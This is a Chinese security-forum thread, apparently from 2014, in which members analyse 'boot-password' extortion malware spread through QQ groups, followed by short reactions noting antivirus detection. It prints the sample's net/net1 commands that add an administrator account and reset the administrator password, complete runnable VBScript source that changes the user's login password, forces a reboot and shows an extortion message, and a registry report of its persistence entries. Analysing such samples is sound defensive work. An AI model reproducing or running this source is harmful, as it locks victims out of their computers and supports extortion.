敲竹杠，添加第三个，图标不错！！

1766566017

以成功分析出密码；密码：hg1406175053rg

1766566017

分析；
无
启动参数：net user Administrators /active:no
创建进程：无
启动参数：net1 localgroup administrators 要密码加QQ2423173554 /add
创建进程：无
启动参数：net1 user 要密码加QQ2423173554 hg1406175053rg /add
创建进程：无
启动参数：net1 user administrator hg1406175053rg
创建进程：无
启动参数：net1 user Administrators /active:no
创建进程：无
启动参数：net user 要密码加QQ2423173554 hg1406175053rg /add
创建进程：无
启动参数：net user administrator hg1406175053rg
创建进程：无
启动参数：net localgroup administrators 要密码加QQ2423173554 /add

1766566017

关机源码；shutdown -a被禁用
Const strPassword = "88888"'   
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 2000 -c ""你开机密码被我改了！速度转发五个QQ群、完事联系QQ1879132436、不然你也别想关掉、重启就让你开不开机，不信你试试···"" ",0 ,true  
dim a
do while(a <> "http://www.2345.com/?k1879132436")
a = inputbox ("速度转发给五个QQ群、完事联系QQ1879132436不然你也别想关掉、重启就让你开不开机，让你电脑瘫痪，不信你试试""　","加不加","对不起系统没有检测到你把软件发至五个群",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"哈哈！耍你真过瘾"
loop
msgbox chr(13) + chr(13) + chr(13) + "哈哈！笑死我了"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true  
msgbox chr(13) + chr(13) + chr(13) + "本软件已绑定你的电脑，请不要删除否则可能引起电脑开不开机"

1766566017

getcdkey.exe的注册表报告
HKEY_CLASSES_ROOT\.ec
HKEY_CLASSES_ROOT\.ec\DefaultIcon
[(NULL)] = [C:\\WINDOWS\\ME\\梦魇模块.ico,0]
HKEY_CLASSES_ROOT\E.Document
HKEY_CLASSES_ROOT\E.Document\DefaultIcon
[(NULL)] = [C:\\WINDOWS\\ME\\梦魇源码.ico,0]
HKEY_CURRENT_USER\Software\Microsoft\Wbem
HKEY_CURRENT_USER\Software\Microsoft\Wbem\WMIC
[mofcompMUIStatus] = [0xffffffff]
[WMICLC] = [0x00000804]
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.ec
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.ec\DefaultIcon
[(NULL)] = [C:\\WINDOWS\\ME\\梦魇模块.ico,0]
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\E.Document
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\E.Document\DefaultIcon
[(NULL)] = [C:\\WINDOWS\\ME\\梦魇源码.ico,0]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM
[Autorecover MOFs] = [C:\\WINDOWS\\system32\\WBEM\\cimwin32.mof]
[Autorecover MOFs timestamp] = [130034117159375000]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\WMIC
[Cli.mof] = [128526480000000000]
[mofcompstatus] = [1]
[CliEgAliases.mfl] = [128526480000000000]
[CliEgAliases.mof] = [128526480000000000]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Sp...
[想要密码联系QQ2084364886] = [0x00000001]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Hints\想要密码...
[(NULL)] = [欢迎使用梦魇模块更改用户开机密码！]


还有不懂的联系我qq17 66 5 66  0 17

o真的假的o

3个火绒全拉黑

uu005

深山红叶__ 发表于 2014-7-13 17:23
加了这个帖子里的样本作者，一直不在线...所以换了一个
前方高能

这还是个孩纸。。。

w114116

有种冲击波的感觉

卡巴专家

KIS KILL 1

contrail

太嚣张。

雷帝彬

数字下载就干掉了 估计官人看到了这个帖子